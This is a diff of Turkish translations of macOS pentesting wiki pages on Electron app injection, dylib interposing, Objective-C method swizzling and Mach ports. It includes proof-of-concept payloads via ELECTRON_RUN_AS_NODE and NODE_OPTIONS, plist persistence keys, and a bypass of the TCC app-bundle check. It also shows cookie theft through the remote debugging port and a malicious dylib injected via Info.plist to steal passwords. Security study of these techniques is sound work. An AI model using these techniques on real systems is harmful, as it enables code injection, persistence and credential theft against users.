#### Kanıt Konsepti: Kullanıcı Verilerine Erişim #### Kavramsal Kanıt: Kullanıcı Verilerine Erişim
- Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin. - Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin.
@ -52,7 +52,7 @@ display dialog theDialogText
### Diğer Örnek ### Diğer Örnek
[https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) gönderisinde kirli nib oluşturma ile ilgili bir eğitim bulabilirsiniz.&#x20; [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) gönderisinde kirli nib oluşturma hakkında bir eğitim bulabilirsiniz.&#x20;
### Başlatma Kısıtlamalarını Ele Alma ### Başlatma Kısıtlamalarını Ele Alma

View File

@ -50,9 +50,9 @@ Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve ö
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Eğer bu baytları değiştirilmiş olarak bir uygulamanın **`Electron Framework`** ikili dosyasını **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır. Eğer bu baytları değiştirilmiş **`Electron Framework`** ikili dosyasını bir uygulamanın içine **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır.
## RCE Electron Uygulamalarına Kod Ekleme ## RCE, Electron Uygulamalarına Kod Ekleme
Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan, imzasının kontrol edilmeyeceği bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir. Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan, imzasının kontrol edilmeyeceği bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir.
@ -60,11 +60,11 @@ Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabili
> Ancak, şu anda 2 sınırlama vardır: > Ancak, şu anda 2 sınırlama vardır:
> >
> - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir. > - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir.
> - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortalarını `etkin` olarak içerir. > - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortaları **etkin** olarak bulunur.
> >
> Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir. > Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'ı **`app.app/NotCon`** olarak yeniden adlandırarak, **kötü niyetli** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak yeniden adlandırarak ve çalıştırarak aşmanın mümkün olduğunu unutmayın. **`kTCCServiceSystemPolicyAppBundles`** gereksinimini aşmanın mümkün olduğunu unutmayın; uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'dan **`app.app/NotCon`** olarak yeniden adlandırarak, **kötü niyetli** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak yeniden adlandırarak ve çalıştırarak bunu yapabilirsiniz.
Asar dosyasından kodu çıkarmak için: Asar dosyasından kodu çıkarmak için:
```bash ```bash
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
``` ```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a> ## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
[**Belgelerde**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) belirtildiğine göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatacaktır. [**Belgelerde**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) belirtildiğine göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
```bash ```bash
# Run this # Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -114,7 +114,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
``` ```
## RCE with `NODE_OPTIONS` ## RCE with `NODE_OPTIONS`
Yükü farklı bir dosyada saklayabilir ve çalıştırabilirsiniz: Yükleme dosyasını farklı bir dosyada saklayabilir ve çalıştırabilirsiniz:
```bash ```bash
# Content of /tmp/payload.js # Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator'); require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
``` ```
> [!CAUTION] > [!CAUTION]
> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **devre dışı** bırakılmışsa **yoksayılacaktır**. > Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama başlatıldığında env değişkeni **NODE_OPTIONS** **göz ardı** edilecektir, eğer env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da sigorta **`RunAsNode`** devre dışı bırakılmışsa **göz ardı** edilecektir.
> >
> Eğer **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, **hata** ile karşılaşacaksınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` > Eğer **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, **hata** ile karşılaşacaksınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### Uygulama Plist'inden Enjeksiyon ### Uygulama Plist'inden Enjeksiyon
Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz: Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılık sağlamak için bu anahtarları ekleyebilirsiniz:
```xml ```xml
<dict> <dict>
<key>EnvironmentVariables</key> <key>EnvironmentVariables</key>
@ -155,11 +155,11 @@ Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sa
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
``` ```
> [!CAUTION] > [!CAUTION]
> Eğer fuse **`EnableNodeCliInspectArguments`** devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da fuse **`RunAsNode`** devre dışı bırakılmışsa **göz ardı edilecektir**. > Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer çevre değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
> >
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalabilirsiniz, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır). > Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri Electron Uygulamasından çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir script kullanabilirsiniz: Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya şöyle basit bir script kullanabilirsiniz:
```python ```python
import websocket import websocket
ws = websocket.WebSocket() ws = websocket.WebSocket()
@ -171,7 +171,7 @@ Bu [**blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıkl
### Uygulama Plist'inden Enjeksiyon ### Uygulama Plist'inden Enjeksiyon
Bu env değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz: Bu çevre değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
```xml ```xml
<dict> <dict>
<key>ProgramArguments</key> <key>ProgramArguments</key>

View File

@ -4,7 +4,7 @@
## Function Interposing ## Function Interposing
Bir **dylib** oluşturun ve **`__interpose` (`__DATA___interpose`)** bölümünü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölümü) içeren **function pointers** çiftleri ile doldurun; bu çiftler **orijinal** ve **değiştirilmiş** fonksiyonlara atıfta bulunur. Bir **dylib** oluşturun ve içinde **`__interpose` (`__DATA___interpose`)** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **değiştirme** fonksiyonlarına atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin.
Sonra, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](macos-library-injection/#check-restrictions). Sonra, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](macos-library-injection/#check-restrictions).
@ -84,7 +84,7 @@ Ayrıca, **interposing'in süreç ile yüklenen kütüphaneler arasında gerçek
### Dinamik Interposing ### Dinamik Interposing
Artık bir fonksiyonu dinamik olarak **`dyld_dynamic_interpose`** fonksiyonu kullanarak interpose etmek de mümkündür. Bu, bir fonksiyonu yalnızca başlangıçtan değil, çalışma zamanında programatik olarak interpose etmeyi sağlar. Artık bir fonksiyonu dinamik olarak **`dyld_dynamic_interpose`** fonksiyonu kullanarak interpose etmek de mümkündür. Bu, bir fonksiyonu yalnızca başlangıçta yapmak yerine çalışma zamanında programatik olarak interpose etmeyi sağlar.
Sadece **değiştirilecek fonksiyonun ve yerine geçecek fonksiyonun** **tuple'larını** belirtmek yeterlidir. Sadece **değiştirilecek fonksiyonun ve yerine geçecek fonksiyonun** **tuple'larını** belirtmek yeterlidir.
```c ```c
@ -99,11 +99,11 @@ const struct dyld_interpose_tuple array[], size_t count);
ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**nesne**, **metod** ve **parametreler** gereklidir. Ve bir metod çağrıldığında **msg gönderilir** `objc_msgSend` fonksiyonu kullanılarak: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` **nesne**, **metod** ve **parametreler** gereklidir. Ve bir metod çağrıldığında bir **msg gönderilir** `objc_msgSend` fonksiyonu kullanılarak: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir. Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir.
Nesne yapıları takip edilerek, **metodların** **isimleri** ve **metod koduna** işaretçilerin **bulunduğu** bir **diziye** ulaşmak mümkündür. Nesne yapıları takip edilerek, **metodların** **isimleri** ve **metod koduna** işaretçilerin **bulunduğu** bir **metodlar dizisine** ulaşmak mümkündür.
> [!CAUTION] > [!CAUTION]
> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri almak mümkündür. > Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri almak mümkündür.
@ -178,7 +178,7 @@ return 0;
``` ```
### Method Swizzling with method_exchangeImplementations ### Method Swizzling with method_exchangeImplementations
Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının** **adresini** **diğerine değiştirmeye** olanak tanır. Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulama** **adresini** **diğerine değiştirmeye** olanak tanır.
> [!CAUTION] > [!CAUTION]
> Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir. > Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir.
@ -232,7 +232,7 @@ return 0;
### Method Swizzling with method_setImplementation ### Method Swizzling with method_setImplementation
Önceki format garip çünkü bir metodun uygulamasını diğerinin üzerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** üzerine **değiştirebilirsiniz**. Önceki format garip çünkü bir metodun uygulamasını diğerinin uygulamasıyla değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** uygulamasıyla **değiştirebilirsiniz**.
Sadece, **orijinal olanın uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır. Sadece, **orijinal olanın uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.
```objectivec ```objectivec
@ -286,7 +286,7 @@ return 0;
} }
} }
``` ```
## Hooking Saldırı Metodolojisi ## Hooking Attack Methodology
Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu. Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu.
@ -294,9 +294,9 @@ Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığ
Ancak, her iki seçenek de **korumasız** ikili/dizilerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin. Ancak, her iki seçenek de **korumasız** ikili/dizilerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir. Ancak, bir fonksiyon hooking saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir.
Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, **`DYLD_INSERT_LIBRARIES`** env değişkenini uygulamanın Info.plist dosyasına ekleyerek bir şeyler eklemek olacaktır: Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek olacaktır.
```xml ```xml
<key>LSEnvironment</key> <key>LSEnvironment</key>
<dict> <dict>
@ -304,11 +304,11 @@ Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzas
<string>/Applications/Application.app/Contents/malicious.dylib</string> <string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict> </dict>
``` ```
ve ardından **yeniden kaydet** uygulamayı: ve ardından **uygulamayı yeniden kaydet**:
```bash ```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
``` ```
Bu kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar... Kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar...
> [!CAUTION] > [!CAUTION]
> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**. > Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**.

View File

@ -6,32 +6,32 @@
### Temel Bilgiler ### Temel Bilgiler
Mach, kaynakları paylaşmak için **görevleri** **en küçük birim** olarak kullanır ve her görev **birden fazla iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları, POSIX süreçleri ve iş parçacıkları ile 1:1 eşlenir**. Mach, kaynakları paylaşmak için **en küçük birim** olarak **görevleri** kullanır ve her görev **birden fazla iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları, POSIX süreçleri ve iş parçacıkları ile 1:1 eşlenir**.
Görevler arasındaki iletişim, tek yönlü iletişim kanallarını kullanarak Mach Araçlar Arası İletişim (IPC) aracılığıyla gerçekleşir. **Mesajlar, çekirdek tarafından yönetilen türde **mesaj kuyrukları** işlevi gören portlar arasında aktarılır. Görevler arasındaki iletişim, tek yönlü iletişim kanallarını kullanarak Mach Araçlar Arası İletişim (IPC) aracılığıyla gerçekleşir. **Mesajlar, çekirdek tarafından yönetilen türde **mesaj kuyrukları** işlevi gören portlar arasında aktarılır.
Bir **port**, Mach IPC'nin **temel** unsurudur. Mesajları **göndermek ve almak** için kullanılabilir. Bir **port**, Mach IPC'nin **temel** unsurudur. Mesaj göndermek ve almak için kullanılabilir.
Her sürecin bir **IPC tablosu** vardır; burada **sürecin mach portlarını** bulmak mümkündür. Bir mach portunun adı aslında bir numaradır (çekirdek nesnesine bir işaretçi). Her sürecin bir **IPC tablosu** vardır; burada **sürecin mach portlarını** bulmak mümkündür. Bir mach portunun adı aslında bir numaradır (çekirdek nesnesine bir işaretçi).
Bir süreç, bazı haklarla birlikte bir port adını **farklı bir göreve** de gönderebilir ve çekirdek, bu girişi **diğer görevin IPC tablosunda** görünür hale getirir. Bir süreç, bazı haklarla birlikte bir port adını **farklı bir göreve** gönderebilir ve çekirdek, bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
### Port Hakları ### Port Hakları
Bir görevin gerçekleştirebileceği işlemleri tanımlayan port hakları, bu iletişim için anahtardır. Olası **port hakları** şunlardır ([tanımlar buradan](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): Bir görevin gerçekleştirebileceği işlemleri tanımlayan port hakları, bu iletişim için anahtardır. Olası **port hakları** şunlardır ([tanımlar buradan](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Alma hakkı**, portta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistemde her port için yalnızca **bir alma hakkı** olabileceği anlamına gelir (bir boru ile, birden fazla süreç bir borunun okuma ucuna dosya tanımlayıcıları tutabilir). - **Alma hakkı**, portuna gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistemde her port için yalnızca **bir alma hakkı** olabileceği anlamına gelir (birden fazla sürecin bir borunun okuma ucuna dosya tanımlayıcıları tutabileceği borulardan farklı olarak).
- **Alma** hakkına sahip bir **görev**, mesaj alabilir ve **Gönderme hakları** oluşturabilir, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portu üzerinde Alma hakkına** sahiptir. - **Alma** hakkına sahip bir **görev**, mesaj alabilir ve **Gönderme hakları** oluşturabilir, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portu üzerinde Alma hakkına** sahiptir.
- Alma hakkının sahibi **ölürse** veya onu öldürürse, **gönderme hakkı işe yaramaz hale gelir (ölü ad).** - Alma hakkının sahibi **ölürse** veya onu öldürürse, **gönderme hakkı işe yaramaz hale gelir (ölü ad).**
- **Gönderme hakkı**, portta mesaj göndermeyi sağlar. - **Gönderme hakkı**, portuna mesaj göndermeyi sağlar.
- Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. - Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
- **Port hakları**, Mac mesajları aracılığıyla da **geçirilebilir**. - **Port hakları**, Mac mesajları aracılığıyla da **geçirilebilir**.
- **Bir kez gönderme hakkı**, portta bir mesaj göndermeyi sağlar ve ardından kaybolur. - **Bir kez gönderme hakkı**, portuna bir mesaj göndermeyi sağlar ve ardından kaybolur.
- Bu hak **kopyalanamaz**, ancak **taşınabilir**. - Bu hak **kopyalanamaz**, ancak **taşınabilir**.
- **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarmak anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir. - **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarmak anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir.
- **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port için mevcut tüm port hakları ölü adlara dönüşür. - **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port için mevcut tüm port hakları ölü adlara dönüşür.
**Görevler, diğerlerine GÖNDERME haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDERME hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar. **Görevler, diğerlerine GÖNDER haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDER hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar.
### Dosya Portları ### Dosya Portları
@ -39,31 +39,31 @@ Dosya portları, Mac portlarında dosya tanımlayıcılarını kapsüllemeyi sa
### İletişim Kurma ### İletişim Kurma
Daha önce belirtildiği gibi, Mach mesajları kullanarak hak göndermek mümkündür, ancak **bir Mach mesajı göndermek için zaten bir hakka sahip olmadan hak gönderemezsiniz**. Peki, ilk iletişim nasıl kurulur? Daha önce belirtildiği gibi, Mach mesajları kullanarak hak göndermek mümkündür, ancak **bir Mach mesajı göndermek için zaten bir hakka sahip olmadan bir hak gönderemezsiniz**. Peki, ilk iletişim nasıl kurulur?
Bunun için **bootstrap sunucusu** (**launchd** mac'te) devreye girer; çünkü **herkes bootstrap sunucusuna bir GÖNDERME hakkı alabilir**, başka bir sürece mesaj göndermek için bir hak istemek mümkündür: Bunun için **bootstrap sunucusu** (**launchd** mac'te) devreye girer; çünkü **herkes bootstrap sunucusuna bir GÖNDER hakkı alabilir**, başka bir sürece mesaj göndermek için bir hak istemek mümkündür:
1. Görev **A**, **yeni bir port** oluşturur ve üzerinde **ALMA hakkı** alır. 1. Görev **A**, **yeni bir port** oluşturur ve üzerinde **ALMA hakkı** alır.
2. Görev **A**, ALMA hakkının sahibi olarak, **port için bir GÖNDERME hakkı oluşturur**. 2. Görev **A**, ALMA hakkının sahibi olarak, **port için bir GÖNDER hakkı oluşturur**.
3. Görev **A**, **bootstrap sunucusu ile bir bağlantı** kurar ve **başlangıçta oluşturduğu port için GÖNDERME hakkını** ona gönderir. 3. Görev **A**, **bootstrap sunucusu ile bir bağlantı** kurar ve **başlangıçta oluşturduğu port için GÖNDER hakkını** ona gönderir.
- Unutmayın ki herkes bootstrap sunucusuna bir GÖNDERME hakkı alabilir. - Unutmayın ki herkes bootstrap sunucusuna bir GÖNDER hakkı alabilir.
4. Görev A, bootstrap sunucusuna `bootstrap_register` mesajı gönderir ve **verilen portu `com.apple.taska` gibi bir adla ilişkilendirir**. 4. Görev A, bootstrap sunucusuna `bootstrap_register` mesajı gönderir ve **verilen portu `com.apple.taska` gibi bir isimle ilişkilendirir**.
5. Görev **B**, **bootstrap sunucusu ile etkileşime geçer** ve bir bootstrap **hizmet adı için arama** yapar (`bootstrap_lookup`). Bootstrap sunucusu yanıt verebilmesi için, görev B, arama mesajı içinde daha önce oluşturduğu bir port için **GÖNDERME hakkını** ona gönderir. Arama başarılı olursa, **sunucu, Görev A'dan aldığı GÖNDERME hakkını** çoğaltır ve **Görev B'ye iletir**. 5. Görev **B**, **bootstrap sunucusu ile etkileşime geçer** ve bir bootstrap **hizmet adı için arama** yapar (`bootstrap_lookup`). Bootstrap sunucusu yanıt verebilmesi için, görev B, arama mesajı içinde daha önce oluşturduğu bir port için **GÖNDER hakkı** gönderir. Arama başarılı olursa, **sunucu, Görev A'dan aldığı GÖNDER hakkını kopyalar** ve **Görev B'ye iletir**.
- Unutmayın ki herkes bootstrap sunucusuna bir GÖNDERME hakkı alabilir. - Unutmayın ki herkes bootstrap sunucusuna bir GÖNDER hakkı alabilir.
6. Bu GÖNDERME hakkı ile, **Görev B**, **Görev A'ya** **bir mesaj gönderebilir**. 6. Bu GÖNDER hakkıyla, **Görev B**, **Görev A'ya** **bir mesaj gönderebilir**.
7. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). 7. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDER** hakkı ile yeni bir port oluşturur ve **GÖNDER hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin, herhangi bir sistem görevini taklit etme** potansiyeline sahip olduğu anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia edip** her isteği onaylayabilir. Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin, herhangi bir sistem görevini taklit etme** potansiyeline sahip olduğu anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia ederek** her isteği onaylayabilir.
